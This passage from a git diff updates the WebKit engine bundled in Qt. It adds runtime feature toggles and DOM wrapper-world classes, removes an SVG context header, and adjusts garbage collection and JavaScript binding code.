+bool RuntimeEnabledFeatures::mediaErrorEnabled()
+{
+    return MediaPlayer::isAvailable();
+}
+
+#endif
+
+#if ENABLE(SHARED_WORKERS)
+bool RuntimeEnabledFeatures::sharedWorkerEnabled()
+{
+    return SharedWorkerRepository::isAvailable();
+}
+#endif
+
+#if ENABLE(WEB_SOCKETS)
+bool RuntimeEnabledFeatures::webSocketEnabled()
+{
+    return WebSocket::isAvailable();
+}
+#endif
+
+#if ENABLE(DATABASE)
+bool RuntimeEnabledFeatures::openDatabaseEnabled()
+{
+    return Database::isAvailable();
+}
+#endif
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/generic/RuntimeEnabledFeatures.h b/src/3rdparty/webkit/WebCore/bindings/generic/RuntimeEnabledFeatures.h
new file mode 100644
index 0000000..37dceff
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/generic/RuntimeEnabledFeatures.h
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2009 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef RuntimeEnabledFeatures_h
+#define RuntimeEnabledFeatures_h
+
+namespace WebCore {
+
+// A class that stores static enablers for all experimental features. Note that
+// the method names must line up with the JavaScript method they enable for code
+// generation to work properly.
+
+class RuntimeEnabledFeatures {
+public:
+    static void setLocalStorageEnabled(bool isEnabled) { isLocalStorageEnabled = isEnabled; }
+    static bool localStorageEnabled() { return isLocalStorageEnabled; }
+
+    static void setSessionStorageEnabled(bool isEnabled) { isSessionStorageEnabled = isEnabled; }
+    static bool sessionStorageEnabled() { return isSessionStorageEnabled; }
+
+    static void setWebkitNotificationsEnabled(bool isEnabled) { isWebkitNotificationsEnabled = isEnabled; }
+    static bool webkitNotificationsEnabled() { return isWebkitNotificationsEnabled; }
+
+    static void setApplicationCacheEnabled(bool isEnabled) { isApplicationCacheEnabled = isEnabled; }
+    static bool applicationCacheEnabled() { return isApplicationCacheEnabled; }
+
+    static void setGeolocationEnabled(bool isEnabled) { isGeolocationEnabled = isEnabled; }
+    static bool geolocationEnabled() { return isGeolocationEnabled; }
+
+    static void setIndexedDBEnabled(bool isEnabled) { isIndexedDBEnabled = isEnabled; }
+    static bool indexedDBEnabled() { return isIndexedDBEnabled; }
+
+#if ENABLE(VIDEO)
+    static bool audioEnabled();
+    static bool htmlMediaElementEnabled();
+    static bool htmlAudioElementEnabled();
+    static bool htmlVideoElementEnabled();
+    static bool mediaErrorEnabled();
+#endif
+
+#if ENABLE(SHARED_WORKERS)
+    static bool sharedWorkerEnabled();
+#endif
+
+#if ENABLE(WEB_SOCKETS)
+    static bool webSocketEnabled();
+#endif
+
+#if ENABLE(DATABASE)
+    static bool openDatabaseEnabled();
+#endif
+
+#if ENABLE(3D_CANVAS)
+    static void setWebGLEnabled(bool isEnabled) { isWebGLEnabled = isEnabled; }
+    static bool webGLRenderingContextEnabled() { return isWebGLEnabled; }
+    static bool webGLArrayBufferEnabled() { return isWebGLEnabled; }
+    static bool webGLByteArrayEnabled() { return isWebGLEnabled; }
+    static bool webGLUnsignedByteArrayEnabled() { return isWebGLEnabled; }
+    static bool webGLShortArrayEnabled() { return isWebGLEnabled; }
+    static bool webGLUnsignedShortArrayEnabled() { return isWebGLEnabled; }
+    static bool webGLIntArrayEnabled() { return isWebGLEnabled; }
+    static bool webGLUnsignedIntArrayEnabled() { return isWebGLEnabled; }
+    static bool webGLFloatArrayEnabled() { return isWebGLEnabled; }
+#endif
+
+    static void setPushStateEnabled(bool isEnabled) { isPushStateEnabled = isEnabled; }
+    static bool pushStateEnabled() { return isPushStateEnabled; }
+    static bool replaceStateEnabled() { return isPushStateEnabled; }
+
+private:
+    // Never instantiate.
+    RuntimeEnabledFeatures() { }
+
+    static bool isLocalStorageEnabled;
+    static bool isSessionStorageEnabled;
+    static bool isWebkitNotificationsEnabled;
+    static bool isApplicationCacheEnabled;
+    static bool isGeolocationEnabled;
+    static bool isIndexedDBEnabled;
+    static bool isWebGLEnabled;
+    static bool isPushStateEnabled;
+};
+
+} // namespace WebCore
+
+#endif // RuntimeEnabledFeatures_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/DOMObjectHashTableMap.cpp b/src/3rdparty/webkit/WebCore/bindings/js/DOMObjectHashTableMap.cpp
new file mode 100644
index 0000000..bfcab0b
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/DOMObjectHashTableMap.cpp
@@ -0,0 +1,37 @@
+/*
+ *  Copyright (C) 1999-2001 Harri Porten (porten@kde.org)
+ *  Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights reserved.
+ *  Copyright (C) 2007 Samuel Weinig <sam@webkit.org>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation; either
+ *  version 2 of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#include "config.h"
+#include "DOMObjectHashTableMap.h"
+
+#include "WebCoreJSClientData.h"
+
+using namespace JSC;
+
+namespace WebCore{
+
+DOMObjectHashTableMap& DOMObjectHashTableMap::mapFor(JSGlobalData& globalData)
+{
+    JSGlobalData::ClientData* clientData = globalData.clientData;
+    ASSERT(clientData);
+    return static_cast<WebCoreJSClientData*>(clientData)->hashTableMap;
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/DOMObjectHashTableMap.h b/src/3rdparty/webkit/WebCore/bindings/js/DOMObjectHashTableMap.h
new file mode 100644
index 0000000..4ddacb8
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/DOMObjectHashTableMap.h
@@ -0,0 +1,60 @@
+/*
+ *  Copyright (C) 1999-2001 Harri Porten (porten@kde.org)
+ *  Copyright (C) 2003, 2004, 2005, 2006, 2008, 2009 Apple Inc. All rights reserved.
+ *  Copyright (C) 2007 Samuel Weinig <sam@webkit.org>
+ *  Copyright (C) 2009 Google, Inc. All rights reserved.
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation; either
+ *  version 2 of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#ifndef DOMObjectHashTableMap_h
+#define DOMObjectHashTableMap_h
+
+#include <runtime/Lookup.h>
+#include <wtf/HashMap.h>
+
+namespace JSC {
+    class JSGlobalData;
+}
+
+namespace WebCore {
+
+// Map from static HashTable instances to per-GlobalData ones.
+class DOMObjectHashTableMap {
+public:
+    static DOMObjectHashTableMap& mapFor(JSC::JSGlobalData&);
+
+    ~DOMObjectHashTableMap()
+    {
+        HashMap<const JSC::HashTable*, JSC::HashTable>::iterator mapEnd = m_map.end();
+        for (HashMap<const JSC::HashTable*, JSC::HashTable>::iterator iter = m_map.begin(); iter != m_map.end(); ++iter)
+            iter->second.deleteTable();
+    }
+
+    const JSC::HashTable* get(const JSC::HashTable* staticTable)
+    {
+        HashMap<const JSC::HashTable*, JSC::HashTable>::iterator iter = m_map.find(staticTable);
+        if (iter != m_map.end())
+            return &iter->second;
+        return &m_map.set(staticTable, JSC::HashTable(*staticTable)).first->second;
+    }
+
+private:
+    HashMap<const JSC::HashTable*, JSC::HashTable> m_map;
+};
+
+} // namespace WebCore
+
+#endif // DOMObjectHashTableMap_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/DOMObjectWithSVGContext.h b/src/3rdparty/webkit/WebCore/bindings/js/DOMObjectWithSVGContext.h
deleted file mode 100644
index 3d435cb..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/DOMObjectWithSVGContext.h
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2009 Google, Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- * 
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
- * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
- * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
- * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
- * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
- * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
- * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#ifndef DOMObjectWithSVGContext_h
-#define DOMObjectWithSVGContext_h
-
-#if ENABLE(SVG)
-
-#include "JSDOMBinding.h"
-#include "SVGElement.h"
-
-namespace WebCore {
-
-    // FIXME: This class (and file) should be removed once all SVG bindings
-    // have moved context() onto the various impl() pointers.
-    class DOMObjectWithSVGContext : public DOMObject {
-    public:
-        SVGElement* context() const { return m_context.get(); }
-
-    protected:
-        DOMObjectWithSVGContext(NonNullPassRefPtr<JSC::Structure> structure, JSDOMGlobalObject*, SVGElement* context)
-            : DOMObject(structure)
-            , m_context(context)
-        {
-            // No space to store the JSDOMGlobalObject w/o hitting the CELL_SIZE limit.
-        }
-
-    protected: // FIXME: Many custom bindings use m_context directly.  Making this protected to temporariliy reduce code churn.
-        RefPtr<SVGElement> m_context;
-    };
-
-} // namespace WebCore
-
-#endif // ENABLE(SVG)
-#endif // DOMObjectWithSVGContext_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/DOMWrapperWorld.cpp b/src/3rdparty/webkit/WebCore/bindings/js/DOMWrapperWorld.cpp
new file mode 100644
index 0000000..c696315
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/DOMWrapperWorld.cpp
@@ -0,0 +1,68 @@
+/*
+ *  Copyright (C) 1999-2001 Harri Porten (porten@kde.org)
+ *  Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights reserved.
+ *  Copyright (C) 2007 Samuel Weinig <sam@webkit.org>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation; either
+ *  version 2 of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#include "config.h"
+#include "DOMWrapperWorld.h"
+
+#include "JSDOMWindow.h"
+#include "WebCoreJSClientData.h"
+
+using namespace JSC;
+
+namespace WebCore {
+
+DOMWrapperWorld::DOMWrapperWorld(JSC::JSGlobalData* globalData, bool isNormal)
+    : m_globalData(globalData)
+    , m_isNormal(isNormal)
+{
+}
+
+static void forgetWorldOfDOMNodesForDocument(Document* document, DOMWrapperWorld* world)
+{
+    Document::JSWrapperCache* wrappers = document->wrapperCacheMap().take(world);
+    ASSERT(wrappers); // 'world' should only know about 'document' if 'document' knows about 'world'!
+    delete wrappers;
+}
+
+DOMWrapperWorld::~DOMWrapperWorld()
+{
+    JSGlobalData::ClientData* clientData = m_globalData->clientData;
+    ASSERT(clientData);
+    static_cast<WebCoreJSClientData*>(clientData)->forgetWorld(this);
+
+    for (HashSet<Document*>::iterator iter = documentsWithWrappers.begin(); iter != documentsWithWrappers.end(); ++iter)
+        forgetWorldOfDOMNodesForDocument(*iter, this);
+}
+
+DOMWrapperWorld* normalWorld(JSC::JSGlobalData& globalData)
+{
+    JSGlobalData::ClientData* clientData = globalData.clientData;
+    ASSERT(clientData);
+    return static_cast<WebCoreJSClientData*>(clientData)->normalWorld();
+}
+
+DOMWrapperWorld* mainThreadNormalWorld()
+{
+    ASSERT(isMainThread());
+    static DOMWrapperWorld* cachedNormalWorld = normalWorld(*JSDOMWindow::commonJSGlobalData());
+    return cachedNormalWorld;
+}
+
+} // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/DOMWrapperWorld.h b/src/3rdparty/webkit/WebCore/bindings/js/DOMWrapperWorld.h
new file mode 100644
index 0000000..65cf6a6
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/DOMWrapperWorld.h
@@ -0,0 +1,88 @@
+/*
+ *  Copyright (C) 1999-2001 Harri Porten (porten@kde.org)
+ *  Copyright (C) 2003, 2004, 2005, 2006, 2008, 2009 Apple Inc. All rights reserved.
+ *  Copyright (C) 2007 Samuel Weinig <sam@webkit.org>
+ *  Copyright (C) 2009 Google, Inc. All rights reserved.
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation; either
+ *  version 2 of the License, or (at your option) any later version.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
+ */
+
+#ifndef DOMWrapperWorld_h
+#define DOMWrapperWorld_h
+
+#include "Document.h"
+#include "JSDOMGlobalObject.h"
+#include "JSDOMWrapper.h"
+#include <runtime/WeakGCMap.h>
+
+namespace WebCore {
+
+class StringImpl;
+
+typedef JSC::WeakGCMap<void*, DOMObject*> DOMObjectWrapperMap;
+typedef JSC::WeakGCMap<StringImpl*, JSC::JSString*> JSStringCache; 
+
+class DOMWrapperWorld : public RefCounted<DOMWrapperWorld> {
+public:
+    static PassRefPtr<DOMWrapperWorld> create(JSC::JSGlobalData* globalData, bool isNormal)
+    {
+        return adoptRef(new DOMWrapperWorld(globalData, isNormal));
+    }
+    ~DOMWrapperWorld();
+
+    void rememberDocument(Document* document) { documentsWithWrappers.add(document); }
+    void forgetDocument(Document* document) { documentsWithWrappers.remove(document); }
+
+    // FIXME: can we make this private?
+    DOMObjectWrapperMap m_wrappers;
+    JSStringCache m_stringCache;
+
+    bool isNormal() const { return m_isNormal; }
+
+protected:
+    DOMWrapperWorld(JSC::JSGlobalData*, bool isNormal);
+
+private:
+    JSC::JSGlobalData* m_globalData;
+    HashSet<Document*> documentsWithWrappers;
+    bool m_isNormal;
+};
+
+DOMWrapperWorld* normalWorld(JSC::JSGlobalData&);
+DOMWrapperWorld* mainThreadNormalWorld();
+inline DOMWrapperWorld* debuggerWorld() { return mainThreadNormalWorld(); }
+inline DOMWrapperWorld* pluginWorld() { return mainThreadNormalWorld(); }
+
+inline DOMWrapperWorld* currentWorld(JSC::ExecState* exec)
+{
+    return static_cast<JSDOMGlobalObject*>(exec->lexicalGlobalObject())->world();
+}
+
+// From Document.h
+
+inline Document::JSWrapperCache* Document::getWrapperCache(DOMWrapperWorld* world)
+{
+    if (world->isNormal()) {
+        if (Document::JSWrapperCache* wrapperCache = m_normalWorldWrapperCache)
+            return wrapperCache;
+        ASSERT(!m_wrapperCacheMap.contains(world));
+    } else if (Document::JSWrapperCache* wrapperCache = m_wrapperCacheMap.get(world))
+        return wrapperCache;
+    return createWrapperCache(world);
+}
+
+} // namespace WebCore
+
+#endif // DOMWrapperWorld_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/GCController.cpp b/src/3rdparty/webkit/WebCore/bindings/js/GCController.cpp
index 59bcfa3..d5a1789 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/GCController.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/GCController.cpp
@@ -40,17 +40,13 @@ using namespace JSC;
 
 namespace WebCore {
 
-#if USE(PTHREADS)
-
 static void* collect(void*)
 {
     JSLock lock(SilenceAssertionsOnly);
-    JSDOMWindow::commonJSGlobalData()->heap.collect();
+    JSDOMWindow::commonJSGlobalData()->heap.collectAllGarbage();
     return 0;
 }
 
-#endif
-
 GCController& gcController()
 {
     DEFINE_STATIC_LOCAL(GCController, staticGCController, ());
@@ -70,14 +66,14 @@ void GCController::garbageCollectSoon()
 
 void GCController::gcTimerFired(Timer<GCController>*)
 {
-    JSLock lock(SilenceAssertionsOnly);
-    JSDOMWindow::commonJSGlobalData()->heap.collect();
+    collect(0);
 }
 
 void GCController::garbageCollectNow()
 {
     JSLock lock(SilenceAssertionsOnly);
-    JSDOMWindow::commonJSGlobalData()->heap.collect();
+    if (!JSDOMWindow::commonJSGlobalData()->heap.isBusy())
+        collect(0);
 }
 
 void GCController::garbageCollectOnAlternateThreadForDebugging(bool waitUntilDone)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSAbstractWorkerCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSAbstractWorkerCustom.cpp
index 6eca7bd..61fcf98 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSAbstractWorkerCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSAbstractWorkerCustom.cpp
@@ -50,7 +50,7 @@ JSValue JSAbstractWorker::addEventListener(ExecState* exec, const ArgList& args)
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)), args.at(2).toBoolean(exec));
+    impl()->addEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
@@ -60,7 +60,7 @@ JSValue JSAbstractWorker::removeEventListener(ExecState* exec, const ArgList& ar
     if (!listener.isObject())
         return jsUndefined();
 
-    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
+    impl()->removeEventListener(args.at(0).toString(exec), JSEventListener::create(asObject(listener), this, false, currentWorld(exec)).get(), args.at(2).toBoolean(exec));
     return jsUndefined();
 }
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSAttrCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSAttrCustom.cpp
index 14457c4..3c01535 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSAttrCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSAttrCustom.cpp
@@ -65,10 +65,8 @@ void JSAttr::markChildren(MarkStack& markStack)
 
     // Mark the element so that this will work to access the attribute even if the last
     // other reference goes away.
-    if (Element* element = impl()->ownerElement()) {
-        if (JSNode* wrapper = getCachedDOMNodeWrapper(element->document(), element))
-            markStack.append(wrapper);
-    }
+    if (Element* element = impl()->ownerElement())
+        markDOMNodeWrapper(markStack, element->document(), element);
 }
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSAudioConstructor.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSAudioConstructor.cpp
index 174cc11..77bb120 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSAudioConstructor.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSAudioConstructor.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2007, 2008 Apple Inc. All rights reserved.
+ * Copyright (C) 2007, 2008, 2010 Apple Inc. All rights reserved.
  *
  * Redistribution and use in source and binary forms, with or without
  * modification, are permitted provided that the following conditions
@@ -20,7 +20,7 @@
  * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
  * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
  * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  */
 
 #include "config.h"
@@ -30,10 +30,7 @@
 #include "JSAudioConstructor.h"
 
 #include "HTMLAudioElement.h"
-#include "HTMLNames.h"
 #include "JSHTMLAudioElement.h"
-#include "ScriptExecutionContext.h"
-#include "Text.h"
 #include <runtime/Error.h>
 
 using namespace JSC;
@@ -46,24 +43,30 @@ JSAudioConstructor::JSAudioConstructor(ExecState* exec, JSDOMGlobalObject* globa
     : DOMConstructorWithDocument(JSAudioConstructor::createStructure(globalObject->objectPrototype()), globalObject)
 {
     putDirect(exec->propertyNames().prototype, JSHTMLAudioElementPrototype::self(exec, globalObject), None);
-    putDirect(exec->propertyNames().length, jsNumber(exec, 1), ReadOnly|DontDelete|DontEnum);
+    putDirect(exec->propertyNames().length, jsNumber(exec, 1), ReadOnly | DontDelete | DontEnum);
 }
 
 static JSObject* constructAudio(ExecState* exec, JSObject* constructor, const ArgList& args)
 {
-    JSAudioConstructor* jsAudio = static_cast<JSAudioConstructor*>(constructor);
-    // FIXME: Why doesn't this need the call toJS on the document like JSImageConstructor?
-    Document* document = jsAudio->document();
+    JSAudioConstructor* jsConstructor = static_cast<JSAudioConstructor*>(constructor);
+
+    Document* document = jsConstructor->document();
     if (!document)
         return throwError(exec, ReferenceError, "Audio constructor associated document is unavailable");
 
-    RefPtr<HTMLAudioElement> audio = new HTMLAudioElement(HTMLNames::audioTag, document);
-    audio->setAutobuffer(true);
-    if (args.size() > 0) {
-        audio->setSrc(args.at(0).toString(exec));
-        audio->scheduleLoad();
-    }
-    return asObject(toJS(exec, jsAudio->globalObject(), audio.release()));
+    // Calling toJS on the document causes the JS document wrapper to be
+    // added to the window object. This is done to ensure that JSDocument::markChildren
+    // will be called, which will cause the audio element to be marked if necessary.
+    toJS(exec, jsConstructor->globalObject(), document);
+
+    // FIXME: This converts an undefined argument to the string "undefined", but possibly we
+    // should treat it as if no argument was passed instead, by checking the value of args.at
+    // rather than looking at args.size.
+    String src;
+    if (args.size() > 0)
+        src = args.at(0).toString(exec);
+    return asObject(toJS(exec, jsConstructor->globalObject(),
+        HTMLAudioElement::createForJSConstructor(document, src)));
 }
 
 ConstructType JSAudioConstructor::getConstructData(ConstructData& constructData)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSBindingsAllInOne.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSBindingsAllInOne.cpp
index f08303a..5a0820b 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSBindingsAllInOne.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSBindingsAllInOne.cpp
@@ -85,8 +85,8 @@
 #include "JSHistoryCustom.cpp"
 #include "JSImageConstructor.cpp"
 #include "JSImageDataCustom.cpp"
-#include "JSInspectedObjectWrapper.cpp"
-#include "JSInspectorBackendCustom.cpp"
+#include "JSInjectedScriptHostCustom.cpp"
+#include "JSInspectorFrontendHostCustom.cpp"
 #include "JSJavaScriptCallFrameCustom.cpp"
 #include "JSLazyEventListener.cpp"
 #include "JSLocationCustom.cpp"
@@ -106,7 +106,6 @@
 #include "JSPluginArrayCustom.cpp"
 #include "JSPluginCustom.cpp"
 #include "JSPluginElementFunctions.cpp"
-#include "JSQuarantinedObjectWrapper.cpp"
 #include "JSSQLResultSetRowListCustom.cpp"
 #include "JSSQLTransactionCustom.cpp"
 #include "JSSVGElementInstanceCustom.cpp"
@@ -114,7 +113,6 @@
 #include "JSSVGMatrixCustom.cpp"
 #include "JSSVGPathSegCustom.cpp"
 #include "JSSVGPathSegListCustom.cpp"
-#include "JSSVGPointListCustom.cpp"
 #include "JSSharedWorkerConstructor.cpp"
 #include "JSSharedWorkerCustom.cpp"
 #include "JSStorageCustom.cpp"
@@ -142,9 +140,10 @@
 #include "ScriptCallStack.cpp"
 #include "ScriptController.cpp"
 #include "ScriptControllerWin.cpp"
+#include "ScriptDebugServer.cpp"
 #include "ScriptEventListener.cpp"
 #include "ScriptFunctionCall.cpp"
-#include "ScriptObjectQuarantine.cpp"
+#include "ScriptProfiler.cpp"
 #include "ScriptState.cpp"
 #include "SerializedScriptValue.cpp"
 #include "WorkerScriptController.cpp"
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCSSRuleCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCSSRuleCustom.cpp
index 1b96c06..b0adf15 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCSSRuleCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSCSSRuleCustom.cpp
@@ -54,7 +54,7 @@ JSValue toJS(ExecState* exec, JSDOMGlobalObject* globalObject, CSSRule* rule)
     if (!rule)
         return jsNull();
 
-    DOMObject* wrapper = getCachedDOMObjectWrapper(exec->globalData(), rule);
+    DOMObject* wrapper = getCachedDOMObjectWrapper(exec, rule);
     if (wrapper)
         return wrapper;
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCSSStyleDeclarationCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCSSStyleDeclarationCustom.cpp
index 4a137d3..fad7aba 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCSSStyleDeclarationCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSCSSStyleDeclarationCustom.cpp
@@ -142,9 +142,9 @@ bool JSCSSStyleDeclaration::canGetItemsForName(ExecState*, CSSStyleDeclaration*,
 
 // FIXME: You can get these properties, and set them (see putDelegate below),
 // but you should also be able to enumerate them.
-JSValue JSCSSStyleDeclaration::nameGetter(ExecState* exec, const Identifier& propertyName, const PropertySlot& slot)
+JSValue JSCSSStyleDeclaration::nameGetter(ExecState* exec, JSValue slotBase, const Identifier& propertyName)
 {
-    JSCSSStyleDeclaration* thisObj = static_cast<JSCSSStyleDeclaration*>(asObject(slot.slotBase()));
+    JSCSSStyleDeclaration* thisObj = static_cast<JSCSSStyleDeclaration*>(asObject(slotBase));
 
     // Set up pixelOrPos boolean to handle the fact that
     // pixelTop returns "CSS Top" as number value in unit pixels
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/JSCSSValueCustom.cpp b/src/3rdparty/webkit/WebCore/bindings/js/JSCSSValueCustom.cpp
index 87a5760..83c1d3a 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/JSCSSValueCustom.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/JSCSSValueCustom.cpp
@@ -49,7 +49,7 @@ JSValue toJS(ExecState* exec, JSDOMGlobalObject* globalObject, CSSValue* value)
     if (!value)
         return jsNull();
 
-    DOMObject* wrapper = getCachedDOMObjectWrapper(exec->globalData(), value);
+    DOMObject* wrapper = getCachedDOMObjectWrapper(exec, value);
 
     if (wrapper)
         return wrapper;
